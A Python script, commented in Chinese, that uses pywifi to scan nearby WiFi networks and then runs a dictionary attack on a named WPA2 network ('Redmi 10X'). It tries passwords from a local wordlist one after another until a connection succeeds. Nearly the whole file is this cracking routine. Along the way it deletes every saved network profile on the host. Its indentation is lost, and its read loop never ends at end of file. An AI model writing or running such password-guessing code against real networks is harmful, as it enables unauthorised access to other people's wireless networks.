import pywifi
import time
from pywifi import const
# 判断是否连接到wifi环境
def judge_connect_wifi():
#创建一个无线对象
wifi = pywifi.PyWiFi()
#获取无线网卡名字
myinterface = wifi.interfaces()[0] # iface 是一个列表,取它的第一个元素
# print(myinterface.name()) # 无线网卡名字
# print(myinterface.status())# 连接wifi状态
if myinterface.status() == const.IFACE_DISCONNECTED:
print('wifi未连接')
else:
print('wifi已经连接')
# judge_connect_wifi() # 调用 判断是否连接到wifi环境
#扫描附近wifi
def scan_wifi():
#创建一个无线对象
wifi = pywifi.PyWiFi()
#获取网卡
myinterface = wifi.interfaces()[0]
#扫描附近wifi
myinterface.scan()
scan_result = myinterface.scan_results()
# print(scan_result )
for wifi in scan_result :
print(wifi.ssid)
# scan_wifi()
#断开wifi连接
def wificonn(wifiname,wifipwd):
#wifi的测试连接
wifi = pywifi.PyWiFi()
myinterface = wifi.interfaces()[0]
#断开wifi连接
myinterface.disconnect()
time.sleep(0.5)
if myinterface.status() == const.IFACE_DISCONNECTED:
#创建wifi连接文件
profile = pywifi.Profile()
#wifi名称
profile.ssid = wifiname
#wifi密码
profile.key = wifipwd
#wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#网卡的开放
profile.auth = const.AUTH_ALG_OPEN
#加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
#删除所有的wifi文件
myinterface.remove_all_network_profiles()
#设置新的连接文件
temp_profile = myinterface.add_network_profile(profile)
#连接wifi
myinterface.connect(temp_profile)
time.sleep(3)
if myinterface.status() == const.IFACE_CONNECTED:
return True
else:
return False
# wificonn('Redmi 10X','mnbvcxz123')
def red_pwd():
print('开始破解')
path = 'D:\coding_software\pyfile\python_chart_sixteen_7_26\2021_08_28\pwd'
file = open(path,'r')
while True:
try:
wifipwd = file.readline()
bool = wificonn('Redmi 10X',wifipwd)
if bool:
print('密码正确,密码是:',wifipwd)
break #只能退出一层循环
else:
print("密码错误,密码是:",wifipwd)
except:
continue
file.close()
red_pwd()